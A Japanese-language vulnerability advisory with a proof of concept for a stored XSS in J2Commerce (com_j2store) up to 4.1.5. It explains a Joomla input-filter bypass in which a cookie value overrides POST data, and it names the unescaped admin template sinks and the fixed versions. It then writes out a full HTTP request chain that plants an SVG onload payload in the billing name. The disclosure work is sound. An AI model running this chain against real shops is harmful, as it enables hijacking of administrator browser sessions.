
J2CommerceゲストチェックアウトにおけるCookieフィルターバイパスを介した格納型XSS
J2Commerce (com_j2store) ≤ 4.1.5 — 未認証の攻撃者がXSSペイロードを保存し、管理者ブラウザでページ読み込み時に自動実行
J2Commerce 4.1.5は、ゲストチェックアウトの請求先住所フィールドを介した格納型クロスサイトスクリプティング(XSS)に対して脆弱です。未認証の攻撃者は、JoomlaのInput::getArray()におけるフィルタバイパスと、PHPのvariables_order=EGPCS($_REQUESTではCookieがPOSTを上書きする)を組み合わせて悪用し、billing_first_nameなどのフィールドにサニタイズされていないHTMLを保存します。これらのフィールドは管理者の注文管理パネルでhtmlspecialchars()なしに直接出力されるため、ペイロードが管理者のブラウザで実行されます。
XSSペイロードは、管理者が注文一覧ページに移動するとページ読み込み時に自動的に発火します。個別の注文をクリックする必要はありません。単一のHTTPリクエストチェーン(カートに追加 → Cookieバイパスでチェックアウト送信 → 注文確定)によりペイロードが永続的に保存され、注文が削除されるか脆弱性が修正されるまで、すべての管理者のブラウザで実行されます。
この攻撃には攻撃者の認証は一切不要です。ゲストチェックアウトはECサイトで標準的かつ一般的に有効化されている機能であり、管理者が新しい注文を確認する経済的動機があるため、攻撃を武器化することは極めて容易です。
| コンポーネント | 影響を受けるバージョン | テスト環境 | 修正済みバージョン |
|---|---|---|---|
| J2Commerce (com_j2store) | 1.0.0 – 4.1.5 | Joomla 5.4.7 + MySQL 8.0で4.1.5 | 3.3.21 / 4.0.21 / 4.1.6 |
種別: クロスサイトスクリプティング — 格納型 (CWE-79)
必要な認証: なし — 未認証(ゲストチェックアウト)
主要シンク: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73
書き込みパス: components/com_j2store/controllers/checkouts.php:535
この脆弱性は、書き込みパスにおける入力フィルタバイパスと、読み取りパスにおける出力エンコーディング欠如という、2つの複合的な弱点から構成されています。
1. 入力フィルタのバイパス — Joomla Input::getArray() の誤用
J2Commerceのゲストチェックアウトコントローラは、$app->input->getArray($_POST) を使用して住所フィールドを読み取ります。Joomlaの実装は $_POST 配列を反復処理し、各値を(データとしてではなく)フィルタタイプとして使用し、実際の値は $_REQUEST から読み取ります。
COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — 書き込みパス
$data = $app->input->getArray($_POST);
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — GETARRAY() メソッド (187行目)
public function getArray(array $vars = [], $datasource = null)
{
foreach ($vars as $k => $v) {
$results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
}
}
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — データソース (97行目)
$this->data = $source ?? $_REQUEST; // Reads from $_REQUEST, not $_POST
2. PHP variables_order — $_REQUEST においてCookieがPOSTを上書きする
PHPの $_REQUEST は、$_GET、$_POST、$_COOKIE から構築される統合スーパーグローバル変数です。variables_order=EGPCS(ほとんどのPHP環境でコンパイル時のデフォルト)の場合、Cookie (C) はPOST (P) の後にリストされるため、キーが競合した場合にはCookieが優先されます。
POSTボディで first_name=RAW を送信すると、Joomlaの InputFilter::clean() は、$_REQUEST で優先されるCookie値 first_name=<svg...> に対してフィルタタイプ 'Raw'(ノーオペレーション)を適用します。
LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — CLEAN() メソッド (215行目)
$type = ucfirst(strtolower($type)); // 'RAW' → 'Raw'
if ($type === 'Raw') {
return $source; // ← no sanitization — returns cookie value unchanged
}
最終結果: POSTボディの first_name=RAW はフィルタをノーオペレーションに設定します。Cookie first_name=<svg onload="alert(document.domain)"> は $_REQUEST で優先されます。JoomlaはCookie値をフィルタリングせずに返します。J2Commerceはそれを j2store_orderinfos.billing_first_name に生のまま保存します。
3. 出力エンコーディングの欠如 — 管理テンプレートのシンク
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — 主要シンク(一覧ページ読み込み時に発火)
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — 副次シンク
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>
このバイパスは、Debian/Ubuntu(request_order = "GP" を明示的に設定し、$_REQUEST からCookieを除外する)を除くすべてのPHP環境で機能します。他の主要なホスティング環境(cPanel/Plesk共有ホスティング、CentOS/RHEL、XAMPP/WAMP/MAMP、Windows IIS)は EGPCS にフォールバックするため、設定変更なしでCookie上書きが初期状態で有効になります。
被害者である管理者としてJ2Commerceの管理者注文一覧を開きます。これにより、管理者がパネルを積極的に使用していることが確認でき、次回アクセス時にペイロードに遭遇することになります。

未認証の攻撃者として、J2CommerceのフロントエンドのホームページにGETリクエストを送信してセッションを確立し、ページのJSONオプションに埋め込まれたCSRFトークンを抽出します。このトークンは後続のPOSTリクエストに必要です。

攻撃者のカートに商品を追加します。ゲストチェックアウトエンドポイントが住所送信を受け付けるには、カートが空でない必要があります。
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

first_name に競合する2つの値を指定して、ゲストチェックアウトの住所フォームを送信します。
first_name=RAW — Joomlaはこれをフィルタタイプ(ノーオペレーション)として解釈first_name=<svg...> — $_REQUEST で優先され(PHP EGPCS: Cookie > POST)、フィルタリングされずに返されるPOST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E
first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

同じCookieバイパスを使用して配送先住所ステップを送信します。このステップは配送先国をセッションに設定します。これをスキップすると、後続のステップで "SHIPPING_ADDRESS_NOT_FOUND" エラーが発生します。

支払い方法(代金引換)を選択します。payment_plugin フィールドはXSSの影響を受けやすいテキスト入力ではありません。
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1
payment_plugin=payment_cash&<csrf_token>=1

確認ステップを送信して、隠しフィールド hash を含む注文サマリーページを取得します。このハッシュは注文を確定するために必要です。
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1
accept_terms=1&<csrf_token>=1

前のステップのハッシュを使用して注文を確定します。サーバーは billing_first_name が生のXSSペイロードに設定された注文レコードを joom_j2store_orderinfos に作成します。
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1
hash=<hash_from_step7>&<csrf_token>=1

被害者である管理者として、J2Commerceの注文一覧に移動します。XSSペイロードはページ読み込み時に即座に発火します。クリックは不要です。default_items.php:73 テンプレートは、顧客列で billing_first_name をエスケープせずにレンダリングします。
管理者が注文を表示すると、サーバーレスポンスには以下が含まれます:
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>
